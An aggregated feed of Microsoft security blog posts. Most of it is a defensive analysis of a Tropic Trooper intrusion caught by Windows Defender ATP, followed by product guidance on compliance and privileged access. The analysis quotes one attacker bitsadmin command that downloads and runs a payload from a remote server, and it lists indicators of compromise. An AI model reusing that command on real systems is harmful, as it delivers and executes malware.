4. Leaked credentials 2: This steps up the protection of admin accounts against leaked credentials by forcing a reset of passwords using conditional access and self-service password reset (versus requiring someone to review the leaked credentials reports and manually take action).

Securing your administrative accounts will reduce your risk significantly. Stay tuned for the hybrid roadmap, which will be completed in early 2019.

The post Secure your privileged administrative accounts with a phased roadmap appeared first on Microsoft Secure.

Categories: Microsoft

Windows Defender ATP device risk score exposes new cyberattack, drives Conditional access to protect networks

Microsoft Malware Protection Center - Wed, 11/28/2018 - 4:46pm

Several weeks ago, the Windows Defender Advanced Threat Protection (Windows Defender ATP) team uncovered a new cyberattack that targeted several high-profile organizations in the energy and food and beverage sectors in Asia. Given the target region and verticals, the attack chain, and the toolsets used, we believe the threat actor that the industry refers to as Tropic Trooper was likely behind the new attack.

The attack set off numerous Windows Defender ATP alerts and triggered the device risk calculation mechanism, which labeled the affected machines with the highest risk. The high device risk score put the affected machines at the top of the list in Windows Defender Security Center, which led to the early detection and discovery of the attack.

With the high risk determined for affected machines, Conditional access blocked these machines access to sensitive content, protecting other users, devices, and data in the network. IT admins can control access with Conditional access based on the device risk score to ensure that only secure devices have access to enterprise resources.

Finally, automatic investigation and remediation kicked in, discovered the artifacts on affected machines that were related to the breach, and remediated the threat. This sequence of actions ensured that the attackers no longer have foothold on affected machines, returning machines to normal working state. Once the threat is remediated, the risk score for those machines was reduced and Conditional access restrictions were lifted.

Investigating alert timelines and process trees

We discovered the attack when Windows Defender ATP called our attention to alerts flagging several different suspicious activities like abnormal Office applications activity, dubious cross-process injections, and machine-learning-based indications of anomalous executions flows. The sheer volume and variety of the alerts told us something serious was going on.

Figure 1. Multiple alerts triggered by the attack

The first detection related to the attack was fired by a suspicious EQNEDT32.exe behavior, which led us to the entry vector of the attack: a malicious document that carried an exploit for CVE-2018-0802, a vulnerability in Microsoft Office Equation Editor, which the actor known as Tropic Trooper has exploited in previous campaigns.

Through the tight integration between Windows Defender ATP and Office 365 ATP, we were able to use Office 365 ATP Threat Explorer to find the specific emails that the attackers used to distribute the malicious document.

Using Windows Defender Security Center, we further investigated the detected executable and found that the attackers used bitsadmin.exe to download and execute a randomly named payload from a remote server:

bitsadmin /transfer Cd /priority foreground http:/<IP address>:4560/.exe %USERPROFILE%\fY.exe && start %USERPROFILE%\fY.exe

Machine timeline activity showed that the executed payload communicated to a remote command-and-control (C&C) server and used process hollowing to run code in a system process memory.

In some cases, the attacker ran additional activities using malicious PowerShell scripts. Windows Defender ATPs Antimalware Scan Interface (AMSI) sensor exposed all the attacker scripts, which we observed to be for meant mostly for data exfiltration.

Figure 2. Process tree

Using the timeline and process tree views in Windows Defender Security Center, were able to identity the processes exhibiting malicious activities and pinpoint exactly when they occurred, allowing us to reconstruct the attack chain. As a result of this analysis, we were able to determine a strong similarity between this new attack and the attack patterns used by the threat actor known as Tropic Trooper.

Figure 3. Campaign attack chain

Device risk calculation and incident prioritization

The alerts that were raised for this attack resulted in a high device risk score for affected machines. Windows Defender ATP determines a device risk score based on different mechanisms. The score is meant to raise the risk level of machines with true positive alerts that indicate a potential targeted attack. The high device risk score pushed the affected machines at the top of the queue, helping ensure security operations teams to immediately notice and prioritize. More importantly, elevated device risk scores trigger automatic investigation and response, helping contain attacks early in its lifespan.

In this specific attack, the risk calculation mechanism gave the affected machines the highest risk based on cumulative risk. Cumulative risk is calculated based on the multiple component and multiple types of anomalous behaviors exhibited by an attack across the infection chain.

Windows Defender ATP-driven conditional access

When Windows Defender ATP raises the device risk score for machines, as in this attack, the affected devices are marked as being at high risk. This risk score is immediately communicated to Conditional access, resulting in the restriction of access from these devices to corporate services and data managed by Azure Active Directory.

This integration between Windows Defender ATP and Azure Active Directory through Microsoft Intune ensures that attackers are immediately prevented from gaining access to sensitive corporate data, even if attackers manage to establish a foothold on networks. When the threat is remediated, Windows Defender ATP drops the device risk score, and the device regains access to resources. Read more about Conditional access here.

Signal sharing and threat remediation across Microsoft Threat Protection

In this attack investigation, the integration of Windows Defender ATP and Office 365 ATP allowed us to trace the entry vector, and security operations teams can seamlessly pivot between the two services, enabling them to investigate the end-to-end timeline of an attack.

Threat signal sharing across services through the Intelligent Security Graph ensures that threat remediation is orchestrated across Microsoft Threat Protection. In this case, Office 365 ATP blocked the related email and malicious document used in the initial stages of the attack. Office 365 ATP had determined the malicious nature of the emails and attachment at the onset, stopping the attacks entry point and protecting Office 365 ATP customers from the attack.

This threat signal is shared with Windows Defender ATP, adding to the rich threat intelligence that was used for investigation. Likewise, Office 365 ATP consumes intelligence from Windows Defender ATP, helping make sure that malicious attachments are detected and related emails are blocked.

Meanwhile, as mentioned, the integration of Windows Defender ATP and Azure Active Directory ensured that affected devices are not allowed to access sensitive corporate data until the threat is resolved.
Windows Defender ATP, Office 365 ATP, and Azure Active Directory are just three of the many Microsoft services now integrate through Microsoft Threat Protection, an integrated solution for securing identities, endpoints, user data, cloud apps, and infrastructure.

Conclusion

The new device risk calculation mechanism in Windows Defender ATP raised the priority of various alerts that turned out to be related to a targeted attack, exposing the threat and allowing security operations teams to immediately take remediation actions. Additionally, the elevated device risk score triggered automated investigation and response, mitigating the attack at its early stages.

Through Conditional access, compromised machines are blocked from accessing critical corporate assets. This protects organizations from the serious risk of attackers leveraging compromised devices to perform cyberespionage and other types of attacks.

To test how these and other advanced capabilities in Windows Defender ATP can help your organization detect, investigate, and respond to attacks, sign up for a free trial.

 

 

Hadar Feldman and Yarden Albeck
Windows Defender ATP team

 

 

Indicators of attack (IoCs) Command and control IP addresses and URLs:
  • 199[.]192[.]23[.]231
  • 45[.]122[.]138 [.]6
  • lovehaytyuio09[.]om
Files (SHA-256):
  • 9adfc863501b4c502fdac0d97e654541c7355316f1d1663b26a9aaa5b5e722d6 (size: 190696 bytes, type: PE)
  • 5589544be7f826df87f69a84abf478474b6eef79b48b914545136290fee840fe (size: 727552, type: PE)
  • 073884caf7df8dafc225567f9065bbf9bf8e5beef923655d45fe5b63c6b6018c (size: 195123 bytes, type: docx)
  • 1aef46dcbf9f0b5ff548f492685d488c7ac514a24e63a4d3ed119bfdbd39c908 (size: 207444, type: docx)

 

 

 

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

 

The post Windows Defender ATP device risk score exposes new cyberattack, drives Conditional access to protect networks appeared first on Microsoft Secure.

Categories: Microsoft

How to help maintain security compliance

Microsoft Malware Protection Center - Mon, 11/26/2018 - 1:15pm

This is the last post in our eight-blog series on deploying Intelligent Security scenarios. To read the previous entries, check out the Deployment series page.

Your employees need to access, generate, and share organizational information ranging from extremely confidential to informal; you must ensure that all information and the movement of that information comply with industry standards without inhibiting workflow. Microsoft 365 security solutions can help you know whats happening with your data, set permissions and classifications, and discover and help prevent leaks.

How can I make it easier to manage compliance processes?

To better manage compliance processes, the first thing youll want to do is distribute the work out to compliance specialists across your organization. The Microsoft 365 Security & Compliance Center (Figure 1) makes this easy by providing a central location to assign people to specific compliance tasks, such as data loss prevention, eDiscovery, and data governance.

Figure 1: The Microsoft 365 Security & Compliance Center Dashboard.

Next, youll need to decide on your policies and data classifications that will allow you to take actions on data. To streamline this compliance task, Microsoft Advanced Data Governance offers automatic data classification and proactive policy recommendationssuch as retention and deletion policiesthroughout the data lifecycle. You can enable default system alerts to identify data governance risks, for example, detecting an employee deleting a large volume of files. You can also create custom alerts by specifying alert-matching conditions, thresholds, or other activities that require admin attention.

How do I assess data protection controls in an ever-changing compliance landscape?

The Microsoft Security Compliance Manager (Figure 2) provides tools to proactively manage evolving data privacy regulations. You can perform ongoing risk assessments on security, compliance, and privacy controls across 11 assessments, including these standards:

  • ISO 27001
  • ISO 27018
  • NIST 800-53
  • NIST CSF
  • CSA CCM

Plus, regional standards and regulations, including:

  • GDPR

As well as industry standards and regulations, such as:

  • HIPAA/HITECH
  • FFIEC
  • NIST 800-171
  • FedRAMP Moderate
  • FedRAMP High

Additionally, the Compliance Manager provides you with step-by-step guidance of how to implement controls to enhance your compliance posture and keep you updated with the current compliance landscape. In addition, built-in collaboration tools to help you assign, track, and record compliance activities to prepare for internal or external audits.

Figure 2: Compliance Manager provides tools to proactively manage evolving data privacy regulations.

How can I protect my data no matter where it lives or travels?

With employees, partners, and other users sharing your data over cloud services, mobile devices, and apps, you need solutions that understand what data is sensitive and automatically protect and govern that data. The unified labeling experience for Microsoft 365 in the Security & Compliance Center provides a tool that allows you to configure data sensitivity labels and protection policies across Azure Information Protection and Office 365 in one location (Figure 3). You can create and customize labels that define the sensitivity of the datafor example, a label of General means the file doesnt contain sensitive information, while Highly Confidential means the file contains very sensitive information. For each label, you can configure protection settings, such as adding encryption and access restrictions, or adding visual markings such as watermarks or headers/footers. To support data governance compliance, you can set policies for data retention, deletion, and disposition, and then automatically apply or publish these labels to users.

Figure 3: Configure data sensitivity labels and protection policies across Azure Information Protection and Office 365 in one location.

There are over 85 built-in sensitive information types that you can use to automatically detect common sensitive data types that may be subject to compliance requirements, such as credit card information, bank account information, passport IDs, and other personal data types. You can also create your own custom sensitive information types (such as employee ID numbers) or upload your own dictionary of terms that you want to automatically detect in documents and emails.

How can I help protect privileged accounts from compromise?

Controlling privileged access can reduce the risk of data compromise and help meet compliance obligations regarding access to sensitive data. Privileged access management (PAM) in Office 365 (Figure 4), available in the Microsoft 365 Admin Center, allows you to enforce zero standing access for your privileged administrative accounts. Zero standing access means users dont have privileges by default. When permissions are provided, its at the bare minimum with just enough access to perform the specific task. Users who need to perform a high-risk task must request permissions for access, and once received all activities are logged and auditable. Its the same principle that defines how Microsoft gives access to its datacenters and reduces the likelihood that a bad actor can gain access to your privileged accounts.

Figure 4: Privileged access management allows you to enforce zero standing access for your privileged administrative accounts.

Plan for success with Microsoft FastTrack. FastTrack comes with your subscription at no additional charge. Whether youre planning your initial rollout, needing to onboard your product, or driving user adoption, FastTrack is your benefit service that is ready to assist you. Get started with FastTrack for Microsoft 365.

Want to learn more?

For more information and guidance on this topic, check out the white paper Maintain compliance with controls and visibility that adhere to global standards. You can find additional security resources on Microsoft.com.

Coming Soon! Stay tuned for our new series: Top 10 actions you can take with Microsoft 365 Security.

More blog posts from the deploying intelligent security scenario series:

Other blog posts from the security deployment series:

The post How to help maintain security compliance appeared first on Microsoft Secure.

Categories: Microsoft